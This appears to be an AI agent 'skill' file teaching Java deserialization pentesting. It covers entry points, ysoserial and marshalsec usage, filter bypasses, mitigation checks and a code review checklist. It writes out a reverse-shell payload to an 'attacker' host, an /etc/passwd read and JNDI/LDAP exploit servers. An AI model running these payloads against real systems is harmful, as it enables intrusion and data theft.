Hacktricks-skills java-deserialization-pentest

Java deserialization vulnerability assessment and exploitation. Use this skill whenever the user mentions Java deserialization, ObjectInputStream, readObject, gadget chains, ysoserial, or any Java serialization security testing. Trigger for pentesting Java applications, analyzing serialized payloads, generating exploit code, or hardening Java deserialization. Make sure to use this skill for any Java security assessment involving serialization, even if the user doesn't explicitly mention 'deserialization' but talks about Java object streams, RMI, or serialized data.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject/SKILL.MD
source content

Java Deserialization Pentest Skill

A comprehensive guide for assessing and exploiting Java deserialization vulnerabilities during security testing.

Core Concepts

Why Deserialization is Dangerous

Java's

ObjectInputStream.readObject()
can execute arbitrary code when deserializing attacker-controlled data. The vulnerability exists because:

  1. readObject()
    - Class-specific read logic executes during deserialization
  2. readResolve()
    - Can replace deserialized objects with attacker-controlled ones
  3. validateObject()
    - Callbacks via
    ObjectInputValidation
  4. Constructors are NOT executed - Gadget chains rely exclusively on the above callbacks

Any method in this chain invoking attacker-controlled data (command execution, JNDI lookups, reflection) becomes an RCE gadget.

Classic Attack Pattern

Attacker → Serialized Payload → ObjectInputStream.readObject() → readObject() → Gadget Chain → RCE

The

readObject()
method can call other methods on deserialized fields, which may execute arbitrary code.

Attack Methodology

Step 1: Identify Deserialization Entry Points

Look for these patterns in Java applications:

  • ObjectInputStream.readObject()
  • RMI
    services accepting serialized objects
  • HttpSession
    serialization
  • Message queues (JMS, Kafka) with Java serialization
  • File uploads accepting
    .ser
    ,
    .dat
    ,
    .obj
    files
  • XML with Java object encoding
  • Base64-encoded payloads with
    {#sb64}
    prefix (pac4j)

Step 2: Enumerate Available Gadget Chains

Use

ysoserial-plus
to discover available gadgets:

# List all available gadget chains
java -jar ysoserial-plus.jar

# Generate a payload for a specific chain
java -jar ysoserial-plus.jar CommonsCollections6 'calc.exe' | base64 -w0

# Common chains to try:
# - CommonsCollections1-7
# - C3P0
# - Spring1-4
# - Hibernate1-5
# - Tomcat1-2
# - SnakeYAML
# - Groovy1-2

Step 3: Deliver the Payload

HTTP POST with serialized data:

# Base64-encoded payload
curl -X POST http://target/api \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.ser

# Or with base64 in body
curl -X POST http://target/api \
  -H "Content-Type: application/json" \
  -d '{"data": "BASE64_PAYLOAD_HERE"}'

RMI exploitation:

# Use marshalsec for RMI
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389

File upload:

# Upload .ser file directly
python3 scripts/upload_serialized.py http://target/upload payload.ser

Step 4: Verify Code Execution

  • Check for callback to attacker-controlled server
  • Look for file creation on target
  • Monitor for process spawning (calc.exe, reverse shell)
  • Use
    SerialSniffer
    to confirm deserialization occurred

Tooling

ysoserial-plus (Primary Exploitation)

# Install
wget https://github.com/ysoserial/ysoserial-plus/releases/latest/download/ysoserial-plus.jar

# Generate payload
java -jar ysoserial-plus.jar CommonsCollections6 'reverse_shell_command' > payload.ser

# Pipe to base64 for HTTP delivery
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0

marshalsec (JNDI Gadgets)

# Start LDAP server for JNDI injection
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389

# Generate JNDI payload
java -cp marshalsec.jar marshalsec.jndi.LDAPPayload 'ldap://attacker:1389/ExploitClass' > payload.ser

gadget-probe (Discovery)

# Scan for vulnerable deserialization endpoints
gadget-probe --url http://target --threads 50

SerialSniffer (Detection)

# Attach to JVM to see what's being deserialized
java -javaagent:SerialSniffer.jar -jar target-app.jar

Detection with JDK 22+

# Enable serialization debug logging
-Djdk.serialDebug=true

Recent Vulnerabilities (2023-2025)

CVEProductDescription
CVE-2023-34040Spring-KafkaDeserialization of error-record headers
CVE-2023-36480Aerospike Java ClientTrusted-server assumption broken
CVE-2023-25581pac4j-core
{#sb64}
Base64 deserialization bypass
CVE-2023-4528JSCAPE MFT ManagerXML-encoded Java objects RCE
2024ysoserial-plusNew Hibernate5, TomcatEmbed, SnakeYAML 2.x gadgets

Mitigation Testing

Check for Serialization Filtering

# Test if jdk.serialFilter is configured
echo "Test if filter rejects unknown classes"
# Send payload with uncommon gadget chain
# If rejected, filtering is likely enabled

Verify Filter Configuration

Look for these JVM arguments:

# Good: Allow-list approach
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"

# Good: Resource limits
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"

# Bad: No filter or overly permissive
-Djdk.serialFilter="*"

Test Filter Bypasses

Some filters can be bypassed:

  1. Inner classes -
    com.example.Outer$Inner
    may bypass
    com.example.Outer
  2. Array types -
    [Lcom.example.Class;
    may bypass class filters
  3. Proxy classes -
    $Proxy0
    may bypass filters
  4. Module names -
    java.base/*
    is often too permissive

Secure Code Review Checklist

When reviewing Java code for deserialization:

  • readObject()
    is
    private
    with
    @Serial
    annotation
  • No user-supplied method calls in
    readObject()
  • No I/O operations in
    readObject()
  • Validation happens AFTER deserialization, not during
  • ObjectInputFilter
    is registered even for internal services
  • Prefer
    Externalizable
    over default serialization
  • No raw
    ObjectInputStream
    exposed over network
  • CI pipeline runs
    gadget-inspector
    or
    serialpwn-cli

Quick Reference

Common Gadget Chains by Library

LibraryChainsRisk Level
CommonsCollections1-7Critical
Spring1-4Critical
Hibernate1-5High
SnakeYAML1-2High
Groovy1-2High
C3P01Medium
Tomcat1-2Medium

Payload Generation Commands

# Reverse shell (CommonsCollections6)
java -jar ysoserial-plus.jar CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1' > payload.ser

# File read (C3P0)
java -jar ysoserial-plus.jar C3P0 'cat /etc/passwd' > payload.ser

# JNDI lookup (marshalsec)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389

References


Note: Always obtain proper authorization before testing deserialization vulnerabilities. Unauthorized exploitation of deserialization flaws is illegal and can cause severe damage to production systems.